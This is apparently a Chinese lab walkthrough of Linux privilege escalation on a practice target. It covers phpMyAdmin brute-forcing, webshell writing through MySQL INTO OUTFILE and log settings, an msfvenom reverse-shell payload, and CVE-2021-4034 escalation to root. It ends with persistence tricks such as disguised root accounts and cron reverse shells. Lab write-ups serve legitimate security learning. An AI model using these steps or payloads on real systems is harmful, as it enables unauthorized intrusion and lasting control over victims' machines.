初涉内网提权方面详解

描述

 

口水话

 

前段时间打了两个靶场 由于内网接触的不多 这里在结束之后恶补了一下相关方面的知识,对于初涉内网的小白来说,可以作为一个较好的参考。由于本文主要介绍提权方面,所以代码审计部分就略过,希望大家看了会有所收获

 

靶场环境

 

搭建用的系统:ubuntu 16.04    内核4.15.0
web环境   php+mysql+thinkphp

 

流程

首先开启靶场 在攻击机正常访问靶场地址

 

这里提一下  因为一般这种老版本的thinkphp都是二开的  所以那些Nday很少能够成功复现
而且这就是一个html静态页面  所以看完后面的小伙伴不要奇怪为什么不对thinkphp做Nday测试
但是这里有彩蛋

 

phpMyAdmin

webshell上传过程

先来一波信息收集

 

实际情况肯定是要对该站点的子域名 cms 其他ip等等做收集
由于这里是靶场操作  这里就简单进行一个目录扫描

 

phpMyAdmin

 

通过目录扫描可以得出  存在phpmyadmin管理界面的登录界面  这种后台嘛  直接bp爆破

 

BP爆破后台登录口令

 

没啥说的啦  开BP代理直接跑

 

phpMyAdmin

 

成功进入phpmyadmin管理页面 

ps:这里提一下 当成功进入管理页面 需要去做什么呢?

查看secure_file_priv是否为NULL 或者为指定路径
(当为NULL的时候 说明没有读写的权限 也就是你可能没法通过into outfile的方式来写入webshell文件 )
查看mysql的版本  路径等

 

查看mysql的相关信息

phpMyAdmin

secure_file_priv信息

phpMyAdmin

 

之前提到的  当secure_file_priv为NULL或者指定路径是 是对其他目录没有读写权限的 
那么这里为空  也就是说 可以对任意目录写入文件(前提是这个目录的所用者对其他目录有读写权限)

 

mysql写webshell拓展

 

几个必要的前提条件
1.secure_file_priv不为NULL或者指定路径
2.phpmyadmin所在目录的拥有者对其他目录有读写权限
3.全局gpc关闭  (mysql-5.3.29以上默认关闭)
4.root权限(这里指的是登录数据库的用户)
5.知道具体路径(通过信息收集获取,上文有提到静态页面存在菜单 这里可以回去看看)

into outfile()方式:
查询执行语句SELECT '' into OUTFILE '/home/wwwroot/default/ruchong.php' 
该语句的作用就是写入一句话到网站根目录下  详情自己百度


日志方式
日志方式的写入有两种  全局日志以及慢日志 不过具体用法差不多
实现的原理是 当你开启日志记录是 你所查询的语句都会全部被记录在指定的一个文件中
那假如你指定的是一个php文件并且你查询的语句为一句话木马呢?

全局日志:
首先查询是否开启了全局日志记录
show variables like '%general%';   查看是否开启

set global general_log = on;     #未开启就手动开启general log 模式

set global general_log_file = 'web可访问目录' #设置日志目录为shell地址

SELECT ''   #执行查询 即写入到日志文件 

慢日志:
#查询慢日志状态
show variables like '%slow_query_log%'; 

#查询mysql系统时间 
show global variables like '%long_query_time%';

#根据时间  设置超时

select '' or sleep(11);   设置查询时间为11s

 

mysql写入webshell

 

这里通过into outfile的方式写入  日志记录也可以

 

phpMyAdmin

 

切换到靶机查看是否生成了该文件

 

phpMyAdmin

 

小技巧ps:
最好是先生成一个php探针页面 为什么呢?
因为探针页面可以详细的看到当前的web环境的一些相关配置
(禁用函数情况、是否开启php日志、session和php日志目录等等)

 

phpMyAdmin

连接webshell

 

这里先进行一些相关的拓展

在不存在函数禁用的情况下:一般使用菜刀等就可以了 后续上传大马等等
存在函数禁用的情况:优先考虑使用蚁剑 (可以使用disable_function绕过脚本)

 

phpMyAdmin

 

打开虚拟终端  测试命令

 

phpMyAdmin

 

这里为什么会无法查询呢?

因为这是一个虚拟终端  本质是通过命令执行来调用主机的终端来执行命令 从而回显数据
但是由于相关函数被禁用 所以很多命令都无法执行 也就是说 这个虚拟终端等于废掉
那么 这个时候蚁剑的插件就派上用场了  可以通过绕过来执行少数的一些命令 从而给我们提供更多的操作空间
扩大我们的攻击范围  ps:蚁剑的插件需要挂ti子来下载 有兴趣的自己百度

 

phpMyAdmin

连接webshell后需要做什么

 

那肯定是上传webshell 通过反弹来拓展攻击面呀!!
但是前面提到了 插件绕过也只是能够使用少数命令 本质还是虚拟终端 所以很多都无法调用 
这个时候 就需要反弹一个shell来进行更多的操作 所以 懂得都懂叭

 

提权过程

内核提权

msfconsole登场

 

说到反弹shell 那肯定是msf啦  可以联动cs/bp等 

ps:这里是同一网段的靶场环境 所以不需要vps来做中转(真实环境是需要用到vps的  后面有空了再写横向穿越,端口转发以及隧道等内容)

 

生成牧马(保命)

 

由于是linux系统 这里就生成相应的牧马啦
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to  -f elf > ruchong.elf

方便理解我这里直接写了接收反弹的ip以及端口

 

phpMyAdmin

 

小技巧
不同虚拟机传文件需要从当前虚拟机复制到物理机再复制到执行虚拟机
是不是很麻烦?
使用python开启一个临时共享当前目录 就可以直接下载啦
命令:python3 -m http.server

 

phpMyAdmin

phpMyAdmin

执行牧马反弹shell啦

 

运行之前 msf开启对应payload  ip以及端口的监听
payload  ip  端口  都要与生成的木马使用的一致
最后的命令run或者exploit开启监听啦

 

phpMyAdmin

 

蚁剑上传该牧马
chmod +777 牧马     #给权限运行啦
./牧马          #运行牧马

 

phpMyAdmin

 

msf成功收到反弹

 

phpMyAdmin

内核提权准备工作

 

既然是内核提权  当然要知道内核信息啦
使用命令uname -a查看当前的系统版本以及内核信息

 

phpMyAdmin

内核脚本的选择

 

知道了内核版本后  有多种选择内核的方式  这里简单的列举几个

 

利用某网站来收集可使用的内核提权脚本

 

https://www.exploit-db.com/

 

phpMyAdmin

利用kali自带搜索相应内核提权脚本

 

搜索命令   searchsploit  版本号/内核号
下载脚本   searchsploit -m  fath

 

phpMyAdmin

利用相关插件收集提权脚本

 

该脚本自行上github搜索

./linux-exploit-suggester.sh -k 4.15.0 
执行脚本   -k 指定的内核版本

 

phpMyAdmin

msf本地提权

 

run post/multi/recon/local_exploit_suggester

这个是自动检测可能成功的内核提权脚本并且逐个尝试
由于需要大概半个小时 所以就没有操作  有兴趣的可以自行尝试

 

内核提权!!!

 

前面说了那么多  终于到关键的一步了

先说说为什么提权要提权:
1.某些命令需要高权限用户才可执行
2.低权限用户对于大多数敏感目录没有读取权限
3.无法dump密码  不存在密码喷洒

这里利用cve-2021-4034来进行提权 github可以搜索下载
使用蚁剑上传  下面po一下改提权脚本 如何使用

 

phpMyAdmin

 

在msf执行红框命令

 

phpMyAdmin

 

可以看到 成功提权到root权限 
root权限能干嘛 不用多说了吧
下面简单说一下权限维持的几个方式

 

权限维持

 

1.创建一个用户 并且权限为root  用户名可以伪造成系统用户名 比如说mysqld等等
2.开启ssh登录 并且生成root的ssh认证密钥对  将其保存本地 后渗透直接使用ssh登录
3.添加计划任务  即周期性的使用root身份反弹shell
4.使用不死马或者内存马
5.设置启动项

 

其他提权方式

 

后面有时间我会单独写提权方式、不同平台提权、内网横向移动所使用的端口转发、sock隧道建立的文章
这里大概提一下linux系统提权的其他方式

1.suid提权    #使用find查找root用户的suid文件  通过运行该类文件获取root权限
2.sudo提权    #个人觉得有点鸡肋 毕竟一般来说 webshell登录的用户权限是无法操作sudoers文件
3.计划任务提权  #查看计划任务中有root权限的脚本  通过运行该脚本获取root权限
4.mysql提权   #本次靶场是可以使用mysql提权的  百度cve-2016-6663了解

 

总结

 

对于内核提权就写到这啦  整体看下来应该都会有一个比较清楚的认知吧 不懂的话多看几遍 相对来说是写的比较详细的了。

关于内网还有很多需要学习的知识 像提权后的权限维持、横向移动、后渗透、痕迹清理、不同平台的不同方式提权、以及进阶的域渗透。后期有空了会更新有关内容的文章。学海无涯,希望大家每天都能学到新知识提升自己,学到的东西可不要做非法的事哈!!!!
  
      审核编辑:彭静
打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分